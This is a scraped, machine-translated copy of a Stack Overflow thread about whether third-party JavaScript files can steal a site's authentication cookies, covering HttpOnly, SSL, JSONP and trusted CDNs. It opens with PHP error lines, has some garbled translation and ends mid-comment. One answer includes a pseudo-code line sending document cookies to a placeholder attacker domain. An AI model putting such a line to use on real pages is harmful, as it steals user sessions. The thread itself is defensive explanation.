Warning: file_get_contents(/data/phpspider/zhask/data//catemap/7/wcf/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 链接到外部.js文件时,isn';这不是安全风险吗?_Javascript_Jquery_Security - Fatal编程技术网

Javascript 链接到外部.js文件时,isn';这不是安全风险吗?

Javascript 链接到外部.js文件时,isn';这不是安全风险吗?,javascript,jquery,security,Javascript,Jquery,Security,这意味着,如果我有一个网站,并且我链接到一个外部的.js文件,比如jquery或一些widget服务,他们可以很容易地通过身份验证cookie,然后以我的身份登录,对吗 如果我使用SSL怎么办?否,因为您站点的cookie将只发送到您的域 例如,当您的浏览器看到yoursite.com时,它将为yoursite.com发送身份验证cookie。如果它还必须对jquery(对于.js脚本)发出不同的请求,它将不会为yoursite.com发送cookie(但它将发送一个jquery cookie—

这意味着,如果我有一个网站,并且我链接到一个外部的.js文件,比如jquery或一些widget服务,他们可以很容易地通过身份验证cookie,然后以我的身份登录,对吗


如果我使用SSL怎么办?

否,因为您站点的cookie将只发送到您的域

例如,当您的浏览器看到yoursite.com时,它将为yoursite.com发送身份验证cookie。如果它还必须对jquery(对于.js脚本)发出不同的请求,它将不会为yoursite.com发送cookie(但它将发送一个jquery cookie——假设存在)


请记住,每个资源都是HTTP下的一个单独请求。

如果包含来自另一个域的Javascript或JSONP代码,则该代码具有完全的客户端功能,可以执行任何它想要的操作。
它可以发送AJAX请求,自动让您的用户执行操作,还可以窃取
document.cookie

如果您的身份验证cookie仅为HTTP,则它无法窃取它们,但它仍然可以使用AJAX模拟用户

永远不要包含来自您不信任的域的JS文件。

如果您的页面使用SSL,则所有Javascript文件也必须使用SSL,否则攻击者可以修改未加密的Javascript以执行任何他想要的操作。
因此,如果SSL页面使用非SSL资源,浏览器将显示安全警告

请注意,JSONP也不例外。
任何JSONP响应都可以完全访问您的DOM。

如果存在安全问题,请不要使用不受信任的JSONP API。

Cookie是特定于域的,由同源策略保护。

这取决于“拉”是什么意思。正如其他人在这里所说,饼干只会被送到它的发源地。但是,第三方(恶意)文件仍然可以通过执行一些JavaScript代码将cookie发送回其服务器,如

// pseudo-code
cookie_send("http://badguy.tld/?"+document.cookies)

所以,只包括来自可靠来源(谷歌、Facebook等)的脚本。

我只能同意SLaks和Haochi(+1和所有)

它是非常不安全的,即使你信任这个域,你也不应该这样做。不要相信那些告诉你事实并非如此的答案,因为它们是错误的

这就是为什么现在谷歌CDN上托管的所有JavaScript库的链接都是安全的HTTPS链接,即使加密所有这些流量对谷歌来说也意味着巨大的开销

他们曾经建议只对使用HTTPS的网站使用HTTPS,现在示例中根本没有HTTP链接


关键是你可以信任谷歌和他们的CDN,但你永远不能信任某个可怜的schmuck's cafe中的本地dns和路由器,你的访问者可能会从这里连接到你的网站,谷歌的CDN是一个很好的目标,原因很明显。

我不确定所有浏览器都完全支持HttpOnly,所以我不相信它自己能阻止攻击

如果您担心第三方攻击者(即,不是提供JS文件的站点)抓取cookie,一定要使用SSL和安全cookie

如果你的页面没有在SSL上运行,使用HTTPiMokcookie实际上不会阻止中间人攻击,因为中间的攻击者可以通过假装成为你的域来拦截cookie。 如果您不信任外部.js文件的主机,请不要使用外部.js文件。外部js文件可以重写整个页面DOM,要求将CC提交给任何人,并使其(对普通用户)看起来与您自己的页面相同,因此,如果您收到恶意的.js文件,您几乎注定要失败。如果您不确定.js主机是否可靠,请在本地托管一个副本(并检查文件是否存在安全漏洞),或者根本不使用它。一般来说,我更喜欢后者


在JQuery的特定情况下,如果找不到更喜欢的副本,只需使用谷歌CDN上的副本即可。

如果您使用SSL,则只应在SSL上链接到外部JS,否则访问者可能会收到警告。如果这是真的,则每个网站都将处于严重状态danger@Josh:这是真的,除非cookie仅为HTTP。@JinX-True他们会收到警告,但不一定安全性较低,但他们不能编写.js代码来访问cookie集合,然后将其发送到他们的服务器上吗?你说auth cookie仅为HTTP是什么意思?作为反对?糊涂了,谢谢+我的回答很好。我只想补充一点,即使cookies是http only,您仍然存在一个请求伪造漏洞,每个不受信任的外部脚本和JSONP,甚至每个受信任的外部脚本和JSONP都通过不安全的http提供服务。您不能将cookie发送到服务器,但您可以执行用户在网站上可以执行的所有操作。@rsp:Yes;这就是我在第二行的意思。澄清。@SLaks:你说得对,我一定读得太快了。那么你的答案就没有什么可补充的了。问候您。@kapilyadav:现在,您可以使用子资源完整性来防止这种情况。下次仔细阅读他的问题。他特别提到了第三方服务器上的JS,答案是“是的,这非常不安全”是的,但这个答案可能非常令人困惑。页面中的所有javascript都不能对任何站点进行ajax调用,除了页面的来源(与脚本标记的src不同)之外。要将cookie发送到攻击者的域,您必须像Christian所展示的那样,使用JSONP或iframes向文档中添加一个img标记,将cookie编码在其src的URL中,将数据发送回页面域以外的域。我认为很多开发人员混淆了页面来源和脚本src的url。@AbiusX:你的答案被否决了,因为它给人一种错误的印象。严格地说,这是正确的,请阅读投票率最高的answ